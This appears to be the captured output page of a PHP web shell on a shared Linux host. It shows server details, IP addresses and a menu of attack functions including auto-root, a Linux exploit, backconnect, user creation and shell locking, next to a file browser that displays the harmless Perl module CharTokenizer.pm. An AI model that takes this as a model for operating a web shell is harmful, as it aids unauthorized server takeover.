Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
Plucene /
Analysis /
[ HOME SHELL ]
Name
Size
Permission
Action
Standard
[ DIR ]
drwxr-xr-x
Analyzer.pm
864
B
-rw-r--r--
CharTokenizer.pm
1.58
KB
-rw-r--r--
LetterTokenizer.pm
532
B
-rw-r--r--
LowerCaseFilter.pm
627
B
-rw-r--r--
LowerCaseTokenizer.pm
421
B
-rw-r--r--
PorterStemFilter.pm
1.72
KB
-rw-r--r--
SimpleAnalyzer.pm
799
B
-rw-r--r--
StopAnalyzer.pm
1.09
KB
-rw-r--r--
StopFilter.pm
934
B
-rw-r--r--
Token.pm
1.21
KB
-rw-r--r--
TokenFilter.pm
548
B
-rw-r--r--
Tokenizer.pm
851
B
-rw-r--r--
WhitespaceAnalyzer.pm
795
B
-rw-r--r--
WhitespaceTokenizer.pm
462
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : CharTokenizer.pm
package Plucene::Analysis::CharTokenizer; =head1 NAME Plucene::Analysis::CharTokenizer - base class for character tokenisers =head1 SYNOPSIS # isa Plucene::Analysis::Tokenizer my $next = $chartokenizer->next; =head1 DESCRIPTION This is an abstract base class for simple, character-oriented tokenizers. =head1 METHODS =cut use strict; use warnings; use Carp; use Plucene::Analysis::Token; use base 'Plucene::Analysis::Tokenizer'; =head2 token_re This should be defined in subclasses. =cut # And here we deviate from the script sub token_re { die "You should define this" } # Class::Virtually::Abstract doesn't like being called twice. =head2 normalize This will normalise the character before it is added to the token. =cut sub normalize { return $_[1] } =head2 next my $next = $chartokenizer->next; This will return the next token in the string, or undef at the end of the string. =cut sub next { my $self = shift; my $re = $self->token_re(); my $fh = $self->{reader}; retry: if (!defined $self->{buffer} or !length $self->{buffer}) { return if eof($fh); $self->{start} = tell($fh); $self->{buffer} .= <$fh>; } return unless length $self->{buffer}; if ($self->{buffer} =~ s/(.*?)($re)//) { $self->{start} += length $1; my $word = $self->normalize($2); my $rv = Plucene::Analysis::Token->new( text => $word, start => $self->{start}, end => ($self->{start} + length($word))); $self->{start} += length($word); return $rv; } # No match, rest of buffer is useless. $self->{buffer} = ""; # But we should try for some more text goto retry; } 1;
Close